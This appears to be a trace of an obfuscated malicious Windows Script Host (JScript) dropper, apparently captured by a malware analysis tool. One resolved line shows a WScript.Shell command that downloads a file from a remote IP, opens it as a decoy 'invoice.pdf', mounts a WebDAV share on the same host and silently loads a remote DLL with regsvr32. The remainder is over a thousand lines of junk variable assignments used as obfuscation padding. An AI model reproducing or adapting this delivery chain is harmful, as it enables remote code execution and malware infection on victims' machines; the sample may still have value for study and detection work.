epipdzse + qlmogvqc + plyryt + qebxokcin + qebxokcin + qebxokcin + qebxokcin + nikcfsjs + hbwfmj + psdjc + yrbpxqg + itgfr + itgfr + itgfr + cropnboe + iuexczmo + iuexczmo + mpjwrzhav + nikcfsjs + eodbittv + eodbittv + luouma + owktsfsln + hbwfmj + sevuqnpcc + cghac + luouma + sevuqnpcc + cropnboe + lyvfzt + wfmvsq + yuyjkd + yrbpxqg + cropnboe + vuzjs + tmllibqvr + sevuqnpcc + cghac + yuyjkd + sevuqnpcc + nikcfsjs + nikcfsjs + dclfff + pgvwvupi + vuzjs + hgbpsf + dclfff + yiwhu + vuzjs + hgbpsf + dclfff + hgbpsf + tmllibqvr + epipdzse + qlmogvqc + plyryt + qebxokcin + qebxokcin + qebxokcin + qebxokcin + nikcfsjs + hbwfmj + psdjc + yrbpxqg + itgfr + itgfr + itgfr + cropnboe + iuexczmo + iuexczmo + mpjwrzhav + nikcfsjs + yiwhu + dclfff + yiwhu + iprltvyx + qebxokcin + qebxokcin + qebxokcin + dclfff + dclfff + vuzjs + epipdzse + iprltvyx + qebxokcin + hgbpsf + hbwfmj + pyywx + pyywx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll",0,false) ➔ 0
14	}
15	pgvwvupi = "z";
16	pgvwvupi = "V";
17	pgvwvupi = "e";
18	pgvwvupi = "V";
19	pgvwvupi = "k";
20	pgvwvupi = "H";
21	pgvwvupi = "J";
22	pgvwvupi = "b";
23	pgvwvupi = "E";
24	pgvwvupi = "9";
25	znkea = "A";
26	znkea = "X";
27	znkea = "j";
28	vabzevgqj = "e";
29	vabzevgqj = "p";
30	vabzevgqj = "h";
31	vabzevgqj = "N";
32	vabzevgqj = "a";
33	vabzevgqj = "F";
34	vabzevgqj = "n";
35	vabzevgqj = "h";
36	vabzevgqj = "F";
37	vabzevgqj = "q";
38	vabzevgqj = "o";
39	vabzevgqj = "c";
40	vabzevgqj = "M";
41	vabzevgqj = "b";
42	vydlzhk = "n";
43	vydlzhk = "h";
44	vydlzhk = "P";
45	vydlzhk = "K";
46	vydlzhk = "s";
47	vydlzhk = "e";
48	vydlzhk = "Q";
49	vydlzhk = "y";
50	vydlzhk = "X";
51	vydlzhk = "O";
52	vydlzhk = "i";
53	vydlzhk = "H";
54	vydlzhk = "g";
55	vydlzhk = "p";
56	vydlzhk = "z";
57	vydlzhk = "P";
58	vydlzhk = "T";
59	vydlzhk = "H";
60	vydlzhk = "E";
61	vydlzhk = "l";
62	vydlzhk = "d";
63	vydlzhk = "z";
64	vydlzhk = "q";
65	vydlzhk = "p";
66	vydlzhk = "K";
67	vydlzhk = "D";
68	vydlzhk = "X";
69	vydlzhk = "n";
70	vydlzhk = "q";
71	cghac = "p";
72	cghac = "T";
73	cghac = "Q";
74	cghac = "B";
75	cghac = "K";
76	cghac = "h";
77	cghac = "w";
78	cghac = "H";
79	cghac = "g";
80	cghac = "C";
81	cghac = "d";
82	cghac = "D";
83	cghac = "g";
84	cghac = "Q";
85	cghac = "n";
86	cghac = "H";
87	cghac = "b";
88	cghac = "m";
89	cghac = "a";
90	cghac = "S";
91	cghac = "/";
92	qhvmy = "Y";
93	rwkim = "o";
94	rwkim = "s";
95	rwkim = "y";
96	rwkim = "X";
97	rwkim = "u";
98	rwkim = "F";
99	rwkim = "p";
100	rwkim = "A";
101	rwkim = "f";
102	rwkim = "g";
103	rwkim = "c";
104	rwkim = "a";
105	rwkim = "s";
106	rwkim = "H";
107	rwkim = "F";
108	rwkim = "B";
109	rwkim = "w";
110	rwkim = "M";
111	rwkim = "q";
112	rwkim = "e";
113	rwkim = "S";
114	rwkim = "K";
115	psdjc = "G";
116	psdjc = "z";
117	psdjc = "k";
118	psdjc = "p";
119	psdjc = "x";
120	psdjc = "G";
121	psdjc = "Y";
122	psdjc = "X";
123	psdjc = "U";
124	psdjc = "v";
125	psdjc = "J";
126	psdjc = "l";
127	psdjc = "h";
128	psdjc = "Y";
129	psdjc = "D";
130	psdjc = "h";
131	psdjc = "L";
132	psdjc = "I";
133	psdjc = "M";
134	psdjc = "P";
135	psdjc = "L";
136	psdjc = "S";
137	psdjc = "a";
138	psdjc = "S";
139	psdjc = "o";
140	psdjc = "y";
141	psdjc = "d";
142	psdjc = "D";
143	psdjc = "X";
144	psdjc = "o";
145	psdjc = "C";
146	psdjc = "f";
147	psdjc = "Q";
148	psdjc = "e";
149	psdjc = "a";
150	psdjc = "h";
151	psdjc = "n";
152	psdjc = "s";
153	psdjc = "P";
154	psdjc = "K";
155	psdjc = "a";
156	biwpye = "N";
157	biwpye = "I";
158	biwpye = "B";
159	biwpye = "s";
160	biwpye = "o";
161	biwpye = "W";
162	biwpye = "D";
163	biwpye = "Q";
164	biwpye = "c";
165	biwpye = "q";
166	biwpye = "d";
167	biwpye = "L";
168	ubtesjfew = "D";
169	ubtesjfew = "W";
170	ubtesjfew = "N";
171	ubtesjfew = "H";
172	ubtesjfew = "I";
173	ubtesjfew = "t";
174	ubtesjfew = "L";
175	ubtesjfew = "K";
176	ubtesjfew = "x";
177	ubtesjfew = "P";
178	ubtesjfew = "C";
179	ubtesjfew = "i";
180	ubtesjfew = "K";
181	ubtesjfew = "e";
182	ubtesjfew = "F";
183	ubtesjfew = "b";
184	ubtesjfew = "W";
185	ubtesjfew = "M";
186	ubtesjfew = "l";
187	ubtesjfew = "Q";
188	ubtesjfew = "x";
189	ubtesjfew = "D";
190	ubtesjfew = "k";
191	ubtesjfew = "F";
192	ubtesjfew = "C";
193	ubtesjfew = "W";
194	ubtesjfew = "y";
195	ubtesjfew = "v";
196	ubtesjfew = "O";
197	ubtesjfew = "c";
198	ubtesjfew = "E";
199	ubtesjfew = "u";
200	ubtesjfew = "M";
201	ubtesjfew = "F";
202	ubtesjfew = "F";
203	ubtesjfew = "W";
204	ubtesjfew = "y";
205	ubtesjfew = "k";
206	ubtesjfew = "W";
207	ubtesjfew = "G";
208	ubtesjfew = "I";
209	vrngfktd = "e";
210	vrngfktd = "n";
211	vrngfktd = "f";
212	vrngfktd = "E";
213	vrngfktd = "F";
214	vrngfktd = "u";
215	vrngfktd = "P";
216	vrngfktd = "o";
217	vrngfktd = "H";
218	vrngfktd = "y";
219	vrngfktd = "Y";
220	vrngfktd = "T";
221	vrngfktd = "q";
222	vrngfktd = "L";
223	vrngfktd = "Y";
224	vrngfktd = "w";
225	vrngfktd = "N";
226	vrngfktd = "R";
227	vrngfktd = "r";
228	vrngfktd = "y";
229	vrngfktd = "N";
230	vrngfktd = "I";
231	vrngfktd = "Q";
232	vrngfktd = "m";
233	vrngfktd = "t";
234	vrngfktd = "k";
235	vrngfktd = "I";
236	vrngfktd = "q";
237	vrngfktd = "O";
238	vrngfktd = "q";
239	vrngfktd = "u";
240	vrngfktd = "c";
241	vrngfktd = "s";
242	vrngfktd = "P";
243	vrngfktd = "U";
244	vrngfktd = "M";
245	vrngfktd = "P";
246	vrngfktd = "o";
247	vrngfktd = "U";
248	vrngfktd = "Y";
249	vrngfktd = "d";
250	vrngfktd = "W";
251	garlwbt = "H";
252	garlwbt = "K";
253	garlwbt = "X";
254	garlwbt = "D";
255	garlwbt = "f";
256	garlwbt = "Y";
257	garlwbt = "n";
258	garlwbt = "Y";
259	garlwbt = "M";
260	garlwbt = "I";
261	garlwbt = "N";
262	garlwbt = "E";
263	garlwbt = "R";
264	garlwbt = "Y";
265	garlwbt = "T";
266	garlwbt = "J";
267	garlwbt = "u";
268	garlwbt = "L";
269	garlwbt = "P";
270	garlwbt = "R";
271	garlwbt = "y";
272	garlwbt = "p";
273	garlwbt = "w";
274	garlwbt = "G";
275	garlwbt = "m";
276	garlwbt = "n";
277	garlwbt = "m";
278	garlwbt = "b";
279	garlwbt = "T";
280	rovinx = "a";
281	rovinx = "C";
282	rovinx = "n";
283	rovinx = "T";
284	rovinx = "o";
285	rovinx = "b";
286	rovinx = "z";
287	rovinx = "R";
288	iprltvyx = "s";
289	iprltvyx = "I";
290	iprltvyx = "y";
291	iprltvyx = "U";
292	iprltvyx = "Z";
293	iprltvyx = "U";
294	iprltvyx = "N";
295	iprltvyx = "N";
296	iprltvyx = "b";
297	iprltvyx = "J";
298	iprltvyx = "7";
299	licqn = "c";
300	licqn = "g";
301	licqn = "v";
302	licqn = "y";
303	licqn = "A";
304	licqn = "U";
305	licqn = "U";
306	licqn = "V";
307	licqn = "X";
308	licqn = "r";
309	licqn = "J";
310	licqn = "i";
311	licqn = "F";
312	licqn = "h";
313	licqn = "b";
314	licqn = "W";
315	licqn = "d";
316	licqn = "m";
317	licqn = "h";
318	licqn = "u";
319	licqn = "X";
320	licqn = "K";
321	licqn = "Z";
322	licqn = "M";
323	licqn = "C";
324	licqn = "K";
325	licqn = "Q";
326	licqn = "X";
327	licqn = "v";
328	licqn = "L";
329	licqn = "W";
330	licqn = "Y";
331	licqn = "t";
332	licqn = "s";
333	licqn = "o";
334	licqn = "U";
335	licqn = "t";
336	licqn = "T";
337	licqn = "R";
338	licqn = "T";
339	licqn = "y";
340	licqn = "E";
341	licqn = "_";
342	owktsfsln = "L";
343	owktsfsln = "U";
344	owktsfsln = "R";
345	owktsfsln = "H";
346	owktsfsln = "F";
347	owktsfsln = "r";
348	owktsfsln = "O";
349	owktsfsln = "U";
350	owktsfsln = "S";
351	owktsfsln = "p";
352	owktsfsln = "F";
353	owktsfsln = "l";
354	owktsfsln = "Q";
355	owktsfsln = "t";
356	owktsfsln = "t";
357	owktsfsln = "m";
358	yiwhu = "S";
359	yiwhu = "w";
360	yiwhu = "k";
361	yiwhu = "o";
362	yiwhu = "k";
363	yiwhu = "A";
364	yiwhu = "D";
365	yiwhu = "Z";
366	yiwhu = "c";
367	yiwhu = "O";
368	yiwhu = "A";
369	yiwhu = "b";
370	yiwhu = "x";
371	yiwhu = "Q";
372	yiwhu = "F";
373	yiwhu = "P";
374	yiwhu = "Q";
375	yiwhu = "s";
376	yiwhu = "M";
377	yiwhu = "e";
378	yiwhu = "W";
379	yiwhu = "b";
380	yiwhu = "d";
381	yiwhu = "S";
382	yiwhu = "J";
383	yiwhu = "Q";
384	yiwhu = "g";
385	yiwhu = "b";
386	yiwhu = "b";
387	yiwhu = "y";
388	yiwhu = "J";
389	yiwhu = "L";
390	yiwhu = "D";
391	yiwhu = "E";
392	yiwhu = "d";
393	yiwhu = "v";
394	yiwhu = "D";
395	yiwhu = "o";
396	yiwhu = "t";
397	yiwhu = "w";
398	yiwhu = "B";
399	yiwhu = "4";
400	eodbittv = "Z";
401	eodbittv = "i";
402	eodbittv = "U";
403	eodbittv = "A";
404	eodbittv = "y";
405	eodbittv = "L";
406	eodbittv = "B";
407	eodbittv = "J";
408	eodbittv = "n";
409	eodbittv = "q";
410	eodbittv = "A";
411	eodbittv = "w";
412	eodbittv = "D";
413	eodbittv = "n";
414	eodbittv = "a";
415	eodbittv = "e";
416	eodbittv = "F";
417	eodbittv = "i";
418	eodbittv = "q";
419	eodbittv = "l";
420	eodbittv = "Z";
421	eodbittv = "c";
422	eodbittv = "K";
423	eodbittv = "g";
424	eodbittv = "e";
425	eodbittv = "V";
426	eodbittv = "p";
427	eodbittv = "f";
428	eodbittv = "q";
429	eodbittv = "M";
430	eodbittv = "g";
431	eodbittv = "W";
432	eodbittv = "c";
433	eodbittv = "k";
434	eodbittv = "&";
435	vqziqqxk = "A";
436	vqziqqxk = "l";
437	vqziqqxk = "H";
438	vqziqqxk = "J";
439	vqziqqxk = "t";
440	vqziqqxk = "J";
441	vqziqqxk = "M";
442	vqziqqxk = "w";
443	vqziqqxk = "V";
444	vqziqqxk = "Y";
445	vqziqqxk = "U";
446	vqziqqxk = "o";
447	vqziqqxk = "u";
448	vqziqqxk = "j";
449	vqziqqxk = "Y";
450	vqziqqxk = "o";
451	vqziqqxk = "i";
452	vqziqqxk = "T";
453	vqziqqxk = "e";
454	vqziqqxk = "E";
455	vqziqqxk = "V";
456	vqziqqxk = "E";
457	vqziqqxk = "D";
458	vqziqqxk = "y";
459	vqziqqxk = "U";
460	vqziqqxk = "P";
461	vqziqqxk = "e";
462	vqziqqxk = "p";
463	vqziqqxk = "q";
464	vqziqqxk = "%";
465	nikcfsjs = "X";
466	nikcfsjs = "z";
467	nikcfsjs = "p";
468	nikcfsjs = "t";
469	nikcfsjs = "X";
470	nikcfsjs = "C";
471	nikcfsjs = "c";
472	nikcfsjs = "k";
473	nikcfsjs = "Q";
474	nikcfsjs = "X";
475	nikcfsjs = "W";
476	nikcfsjs = "W";
477	nikcfsjs = "k";
478	nikcfsjs = "p";
479	nikcfsjs = "f";
480	nikcfsjs = "\\";
481	epipdzse = "e";
482	epipdzse = "O";
483	epipdzse = "p";
484	epipdzse = "b";
485	epipdzse = "H";
486	epipdzse = "P";
487	epipdzse = "M";
488	epipdzse = "H";
489	epipdzse = "K";
490	epipdzse = "x";
491	epipdzse = "W";
492	epipdzse = "M";
493	epipdzse = "J";
494	epipdzse = "S";
495	epipdzse = "m";
496	epipdzse = "U";
497	epipdzse = "b";
498	epipdzse = "V";
499	epipdzse = "v";
500	epipdzse = "R";
501	epipdzse = "b";
502	epipdzse = "p";
503	epipdzse = "Y";
504	epipdzse = "d";
505	epipdzse = "v";
506	epipdzse = "N";
507	epipdzse = "I";
508	epipdzse = "e";
509	epipdzse = "k";
510	epipdzse = "j";
511	epipdzse = "w";
512	epipdzse = "Q";
513	epipdzse = "x";
514	epipdzse = "z";
515	epipdzse = "u";
516	epipdzse = "B";
517	epipdzse = "U";
518	epipdzse = "f";
519	epipdzse = "Q";
520	epipdzse = "d";
521	epipdzse = "w";
522	epipdzse = "s";
523	epipdzse = "0";
524	ngmxrjhd = "j";
525	ngmxrjhd = "w";
526	ngmxrjhd = "i";
527	ngmxrjhd = "u";
528	ngmxrjhd = "t";
529	ngmxrjhd = "n";
530	ngmxrjhd = "f";
531	ngmxrjhd = "q";
532	ngmxrjhd = "J";
533	ngmxrjhd = "t";
534	ngmxrjhd = "a";
535	ngmxrjhd = "C";
536	ngmxrjhd = "D";
537	ngmxrjhd = "f";
538	ngmxrjhd = "G";
539	ngmxrjhd = "e";
540	ngmxrjhd = "H";
541	zoiwl = "k";
542	zoiwl = "D";
543	zoiwl = "v";
544	zoiwl = "E";
545	zoiwl = "v";
546	zoiwl = "Z";
547	zoiwl = "N";
548	zoiwl = "Z";
549	zoiwl = "T";
550	zoiwl = "R";
551	zoiwl = "Y";
552	zoiwl = "i";
553	zoiwl = "d";
554	zoiwl = "V";
555	zoiwl = "B";
556	zoiwl = "s";
557	zoiwl = "V";
558	zoiwl = "t";
559	zoiwl = "x";
560	zoiwl = "N";
561	zoiwl = "y";
562	zoiwl = "n";
563	zoiwl = "k";
564	zoiwl = "W";
565	zoiwl = "A";
566	zoiwl = "I";
567	zoiwl = "h";
568	zoiwl = "A";
569	zoiwl = "j";
570	zoiwl = "e";
571	zoiwl = "G";
572	zoiwl = "T";
573	zoiwl = "j";
574	zoiwl = "s";
575	zoiwl = "C";
576	mrjzuzf = "y";
577	mrjzuzf = "H";
578	mrjzuzf = "g";
579	mrjzuzf = "x";
580	mrjzuzf = "C";
581	mrjzuzf = "P";
582	mhidoiie = "b";
583	mhidoiie = "n";
584	mhidoiie = "d";
585	mhidoiie = "k";
586	mhidoiie = "A";
587	mhidoiie = "O";
588	mhidoiie = "r";
589	mhidoiie = "e";
590	mhidoiie = "f";
591	mhidoiie = "U";
592	mhidoiie = "j";
593	mhidoiie = "z";
594	mhidoiie = "u";
595	mhidoiie = "l";
596	mhidoiie = "W";
597	mhidoiie = "l";
598	mhidoiie = "P";
599	mhidoiie = "X";
600	mhidoiie = "b";
601	mhidoiie = "Q";
602	mhidoiie = "v";
603	mhidoiie = "b";
604	mhidoiie = "O";
605	mhidoiie = "h";
606	mhidoiie = "V";
607	mhidoiie = "D";
608	mhidoiie = "V";
609	mhidoiie = "j";
610	mhidoiie = "R";
611	mhidoiie = "y";
612	mhidoiie = "o";
613	mhidoiie = "y";
614	mhidoiie = "U";
615	bdgqtysx = "b";
616	bdgqtysx = "y";
617	bdgqtysx = "f";
618	bdgqtysx = "h";
619	bdgqtysx = "E";
620	bdgqtysx = "m";
621	bdgqtysx = "q";
622	bdgqtysx = "Z";
623	bdgqtysx = "n";
624	bdgqtysx = "e";
625	bdgqtysx = "h";
626	bdgqtysx = "j";
627	bdgqtysx = "X";
628	bdgqtysx = "X";
629	bdgqtysx = "d";
630	bdgqtysx = "Z";
631	bdgqtysx = "h";
632	bdgqtysx = "R";
633	bdgqtysx = "f";
634	bdgqtysx = "w";
635	bdgqtysx = "i";
636	bdgqtysx = "S";
637	bdgqtysx = "F";
638	bdgqtysx = "U";
639	bdgqtysx = "a";
640	bdgqtysx = "D";
641	bdgqtysx = "x";
642	bdgqtysx = "T";
643	bdgqtysx = "C";
644	bdgqtysx = "c";
645	bdgqtysx = "c";
646	bdgqtysx = "C";
647	bdgqtysx = "g";
648	bdgqtysx = "p";
649	bdgqtysx = "K";
650	bdgqtysx = "u";
651	yrbpxqg = "q";
652	yrbpxqg = "G";
653	yrbpxqg = "R";
654	yrbpxqg = "W";
655	yrbpxqg = "v";
656	xwaogpo = "Y";
657	xwaogpo = "t";
658	xwaogpo = "l";
659	xwaogpo = "W";
660	xwaogpo = "K";
661	xwaogpo = "M";
662	xwaogpo = "X";
663	xwaogpo = "u";
664	xwaogpo = "a";
665	xwaogpo = "w";
666	xwaogpo = "u";
667	xwaogpo = "b";
668	xwaogpo = "f";
669	xwaogpo = "a";
670	xwaogpo = "W";
671	xwaogpo = "e";
672	xwaogpo = "G";
673	xwaogpo = "U";
674	xwaogpo = "W";
675	xwaogpo = "u";
676	xwaogpo = "Q";
677	xwaogpo = "v";
678	xwaogpo = "a";
679	xwaogpo = "k";
680	yuyjkd = "f";
681	yuyjkd = "n";
682	yuyjkd = "E";
683	yuyjkd = "J";
684	yuyjkd = "c";
685	yuyjkd = "w";
686	yuyjkd = "K";
687	yuyjkd = "p";
688	yuyjkd = "n";
689	yuyjkd = "a";
690	yuyjkd = "A";
691	yuyjkd = "q";
692	yuyjkd = "x";
693	yuyjkd = "t";
694	yuyjkd = "O";
695	yuyjkd = "w";
696	yuyjkd = "o";
697	yuyjkd = "n";
698	yuyjkd = "T";
699	yuyjkd = "B";
700	yuyjkd = "k";
701	yuyjkd = "A";
702	yuyjkd = "w";
703	yuyjkd = "Y";
704	yuyjkd = "i";
705	yuyjkd = "S";
706	yuyjkd = "h";
707	yuyjkd = "j";
708	yuyjkd = "w";
709	yuyjkd = "b";
710	yuyjkd = "R";
711	yuyjkd = "L";
712	yuyjkd = "c";
713	yuyjkd = "K";
714	yuyjkd = "r";
715	yuyjkd = "S";
716	yuyjkd = "P";
717	yuyjkd = "m";
718	yuyjkd = "s";
719	itgfr = "D";
720	itgfr = "i";
721	itgfr = "T";
722	itgfr = "b";
723	itgfr = "t";
724	itgfr = "K";
725	itgfr = "t";
726	itgfr = "y";
727	itgfr = "P";
728	itgfr = "i";
729	itgfr = "q";
730	itgfr = "a";
731	itgfr = "k";
732	itgfr = "M";
733	itgfr = "w";
734	hbwfmj = "i";
735	hbwfmj = "m";
736	hbwfmj = "w";
737	hbwfmj = "H";
738	hbwfmj = "r";
739	hbwfmj = "I";
740	hbwfmj = "Z";
741	hbwfmj = "A";
742	hbwfmj = "j";
743	hbwfmj = "y";
744	hbwfmj = "U";
745	hbwfmj = "e";
746	hbwfmj = "i";
747	hbwfmj = "q";
748	hbwfmj = "o";
749	hbwfmj = "S";
750	hbwfmj = "Q";
751	hbwfmj = "m";
752	hbwfmj = "K";
753	hbwfmj = "z";
754	hbwfmj = "a";
755	hbwfmj = "N";
756	hbwfmj = "d";
757	ogqtyoytr = "o";
758	ogqtyoytr = "o";
759	ogqtyoytr = "d";
760	ogqtyoytr = "l";
761	ogqtyoytr = "Q";
762	ogqtyoytr = "Q";
763	ogqtyoytr = "Q";
764	ogqtyoytr = "c";
765	ogqtyoytr = "K";
766	ogqtyoytr = "d";
767	ogqtyoytr = ":";
768	rrqhrgqvg = "p";
769	rrqhrgqvg = "b";
770	rrqhrgqvg = "V";
771	rrqhrgqvg = "T";
772	rrqhrgqvg = "G";
773	rrqhrgqvg = "e";
774	rrqhrgqvg = "R";
775	rrqhrgqvg = "e";
776	rrqhrgqvg = "p";
777	rrqhrgqvg = "U";
778	rrqhrgqvg = "q";
779	rrqhrgqvg = "L";
780	rrqhrgqvg = "J";
781	rrqhrgqvg = "j";
782	rrqhrgqvg = "W";
783	rrqhrgqvg = "D";
784	rrqhrgqvg = "g";
785	rrqhrgqvg = "G";
786	rrqhrgqvg = "P";
787	rrqhrgqvg = "g";
788	rrqhrgqvg = "Q";
789	rrqhrgqvg = "x";
790	rrqhrgqvg = "Q";
791	rrqhrgqvg = "g";
792	rrqhrgqvg = "n";
793	qlmogvqc = "M";
794	qlmogvqc = "u";
795	qlmogvqc = "D";
796	qlmogvqc = "d";
797	qlmogvqc = "b";
798	qlmogvqc = "R";
799	qlmogvqc = "T";
800	qlmogvqc = "L";
801	qlmogvqc = "P";
802	qlmogvqc = "J";
803	qlmogvqc = "L";
804	qlmogvqc = "i";
805	qlmogvqc = "P";
806	qlmogvqc = "d";
807	qlmogvqc = "o";
808	qlmogvqc = "H";
809	qlmogvqc = "H";
810	qlmogvqc = "X";
811	qlmogvqc = "n";
812	qlmogvqc = "l";
813	qlmogvqc = "Q";
814	qlmogvqc = "l";
815	qlmogvqc = "o";
816	qlmogvqc = "5";
817	cropnboe = "j";
818	cropnboe = "N";
819	cropnboe = "G";
820	cropnboe = "V";
821	cropnboe = "M";
822	cropnboe = "Z";
823	cropnboe = "g";
824	cropnboe = "W";
825	cropnboe = "E";
826	cropnboe = "m";
827	cropnboe = "U";
828	cropnboe = "z";
829	cropnboe = "o";
830	cropnboe = "s";
831	cropnboe = "A";
832	cropnboe = "B";
833	cropnboe = "Q";
834	cropnboe = "A";
835	cropnboe = "B";
836	cropnboe = "g";
837	cropnboe = "Y";
838	cropnboe = "Y";
839	cropnboe = "H";
840	cropnboe = "S";
841	cropnboe = "w";
842	cropnboe = "x";
843	cropnboe = "Q";
844	cropnboe = "e";
845	cropnboe = "K";
846	cropnboe = "X";
847	cropnboe = "G";
848	cropnboe = "K";
849	cropnboe = "R";
850	cropnboe = "N";
851	cropnboe = "i";
852	cropnboe = "c";
853	cropnboe = "b";
854	cropnboe = "w";
855	cropnboe = "r";
856	mgdvjm = "v";
857	mgdvjm = "e";
858	mgdvjm = "G";
859	mgdvjm = "c";
860	mgdvjm = "K";
861	mgdvjm = "I";
862	mgdvjm = "v";
863	mgdvjm = "E";
864	mgdvjm = "z";
865	mgdvjm = "r";
866	mgdvjm = "P";
867	mgdvjm = "I";
868	mgdvjm = "y";
869	mgdvjm = "R";
870	mgdvjm = "u";
871	mgdvjm = "e";
872	mgdvjm = "k";
873	mgdvjm = "J";
874	mgdvjm = "Z";
875	mgdvjm = "u";
876	mgdvjm = "N";
877	luouma = "p";
878	luouma = "s";
879	luouma = "R";
880	luouma = "Z";
881	luouma = "I";
882	luouma = "D";
883	luouma = "c";
884	luouma = "m";
885	luouma = "H";
886	luouma = "h";
887	luouma = "Q";
888	luouma = "s";
889	luouma = "y";
890	luouma = "z";
891	luouma = "i";
892	luouma = "H";
893	luouma = "z";
894	luouma = "R";
895	luouma = "d";
896	luouma = "j";
897	luouma = "z";
898	luouma = "Y";
899	luouma = "e";
900	luouma = "Q";
901	luouma = "F";
902	luouma = "S";
903	luouma = "l";
904	luouma = "e";
905	luouma = "y";
906	luouma = "z";
907	luouma = "L";
908	luouma = "C";
909	luouma = "U";
910	luouma = "F";
911	luouma = "a";
912	luouma = "c";
913	xymrg = "r";
914	xymrg = "N";
915	xymrg = "j";
916	xymrg = "w";
917	xymrg = "Q";
918	xymrg = "R";
919	xymrg = "i";
920	xymrg = "J";
921	xymrg = "J";
922	xymrg = "t";
923	xymrg = "h";
924	xymrg = "T";
925	xymrg = "f";
926	xymrg = "J";
927	xymrg = "d";
928	xymrg = "Z";
929	xymrg = "K";
930	xymrg = "f";
931	xymrg = "B";
932	xymrg = "d";
933	xymrg = "Y";
934	xymrg = "l";
935	xymrg = "t";
936	xymrg = "z";
937	xymrg = "x";
938	vuzjs = "B";
939	vuzjs = "O";
940	vuzjs = "F";
941	vuzjs = "h";
942	vuzjs = "O";
943	vuzjs = "v";
944	vuzjs = "Y";
945	vuzjs = "l";
946	vuzjs = "O";
947	vuzjs = "S";
948	vuzjs = "f";
949	vuzjs = "Y";
950	vuzjs = "a";
951	vuzjs = "a";
952	vuzjs = "u";
953	vuzjs = "X";
954	vuzjs = "q";
955	vuzjs = "b";
956	vuzjs = "m";
957	vuzjs = "D";
958	vuzjs = "L";
959	vuzjs = "l";
960	vuzjs = "M";
961	vuzjs = "t";
962	vuzjs = "s";
963	vuzjs = "F";
964	vuzjs = "g";
965	vuzjs = "l";
966	vuzjs = "K";
967	vuzjs = "X";
968	vuzjs = "V";
969	vuzjs = "3";
970	wfmvsq = "j";
971	wfmvsq = "m";
972	wfmvsq = "V";
973	wfmvsq = "x";
974	wfmvsq = "q";
975	wfmvsq = "Y";
976	wfmvsq = "Q";
977	wfmvsq = "k";
978	wfmvsq = "s";
979	wfmvsq = "x";
980	wfmvsq = "C";
981	wfmvsq = "t";
982	wfmvsq = "e";
983	wfmvsq = "j";
984	wfmvsq = "c";
985	wfmvsq = "F";
986	wfmvsq = "c";
987	wfmvsq = "N";
988	wfmvsq = "Q";
989	wfmvsq = "c";
990	wfmvsq = "l";
991	wfmvsq = "D";
992	wfmvsq = "F";
993	wfmvsq = "b";
994	wfmvsq = "U";
995	wfmvsq = "e";
996	wfmvsq = "U";
997	wfmvsq = "l";
998	wfmvsq = "M";
999	wfmvsq = "x";
1000	wfmvsq = "g";
1001	qebxokcin = "r";
1002	qebxokcin = "a";
1003	qebxokcin = "C";
1004	qebxokcin = "b";
1005	qebxokcin = "b";
1006	qebxokcin = "C";
1007	qebxokcin = "8";
1008	wokpyn = "P";
1009	wokpyn = "b";
1010	wokpyn = "Q";
1011	wokpyn = "R";
1012	wokpyn = "o";
1013	wokpyn = "f";
1014	wokpyn = "y";
1015	wokpyn = "a";
1016	wokpyn = "D";
1017	wokpyn = "E";
1018	wokpyn = "S";
1019	wokpyn = "M";
1020	wokpyn = "T";
1021	wokpyn = "T";
1022	wokpyn = "C";
1023	wokpyn = "j";
1024	wokpyn = "X";
1025	wokpyn = "r";
1026	wokpyn = "v";
1027	wokpyn = "B";
1028	wokpyn = "p";
1029	wokpyn = "l";
1030	wokpyn = "N";
1031	wokpyn = "M";
1032	wokpyn = "l";
1033	wokpyn = "C";
1034	wokpyn = "C";
1035	wokpyn = "K";
1036	wokpyn = "M";
1037	wokpyn = "W";
1038	wokpyn = "p";
1039	wokpyn = "I";
1040	wokpyn = "J";
1041	wokpyn = "E";
1042	fzkdpz = "h";
1043	fzkdpz = "H";
1044	fzkdpz = "M";
1045	fzkdpz = "D";
1046	fzkdpz = "u";
1047	fzkdpz = "Z";
1048	fzkdpz = "Q";
1049	fzkdpz = "O";
1050	fzkdpz = "v";
1051	fzkdpz = "n";
1052	fzkdpz = "D";
1053	fzkdpz = "L";
1054	fzkdpz = "K";
1055	fzkdpz = "k";
1056	fzkdpz = "s";
1057	fzkdpz = "D";
1058	fzkdpz = "w";
1059	fzkdpz = "E";
1060	fzkdpz = "j";
1061	fzkdpz = "T";
1062	fzkdpz = "S";
1063	fzkdpz = "W";
1064	fzkdpz = "f";
1065	mpjwrzhav = "k";
1066	mpjwrzhav = "n";
1067	mpjwrzhav = "d";
1068	mpjwrzhav = "T";
1069	mpjwrzhav = "s";
1070	mpjwrzhav = "X";
1071	mpjwrzhav = "k";
1072	mpjwrzhav = "z";
1073	mpjwrzhav = "f";
1074	mpjwrzhav = "W";
1075	mpjwrzhav = "U";
1076	mpjwrzhav = "c";
1077	mpjwrzhav = "c";
1078	mpjwrzhav = "V";
1079	mpjwrzhav = "I";
1080	mpjwrzhav = "d";
1081	mpjwrzhav = "K";
1082	mpjwrzhav = "L";
1083	mpjwrzhav = "G";
1084	mpjwrzhav = "I";
1085	mpjwrzhav = "i";
1086	mpjwrzhav = "V";
1087	mpjwrzhav = "U";
1088	mpjwrzhav = "F";
1089	mpjwrzhav = "a";
1090	mpjwrzhav = "s";
1091	mpjwrzhav = "e";
1092	mpjwrzhav = "r";
1093	mpjwrzhav = "P";
1094	mpjwrzhav = "z";
1095	mpjwrzhav = "G";
1096	mpjwrzhav = "u";
1097	mpjwrzhav = "t";
1098	xqcacwk = "P";
1099	xqcacwk = "Y";
1100	xqcacwk = "h";
1101	hgbpsf = ".";
1102	iuexczmo = "T";
1103	iuexczmo = "C";
1104	iuexczmo = "C";
1105	iuexczmo = "h";
1106	iuexczmo = "Z";
1107	iuexczmo = "J";
1108	iuexczmo = "E";
1109	iuexczmo = "b";
1110	iuexczmo = "G";
1111	iuexczmo = "W";
1112	iuexczmo = "n";
1113	iuexczmo = "o";
1114	iuexczmo = "G";
1115	iuexczmo = "x";
1116	iuexczmo = "U";
1117	iuexczmo = "o";
1118	iuexczmo = "c";
1119	iuexczmo = "C";
1120	iuexczmo = "Z";
1121	iuexczmo = "H";
1122	iuexczmo = "z";
1123	iuexczmo = "c";
1124	iuexczmo = "e";
1125	iuexczmo = "z";
1126	iuexczmo = "V";
1127	iuexczmo = "F";
1128	iuexczmo = "z";
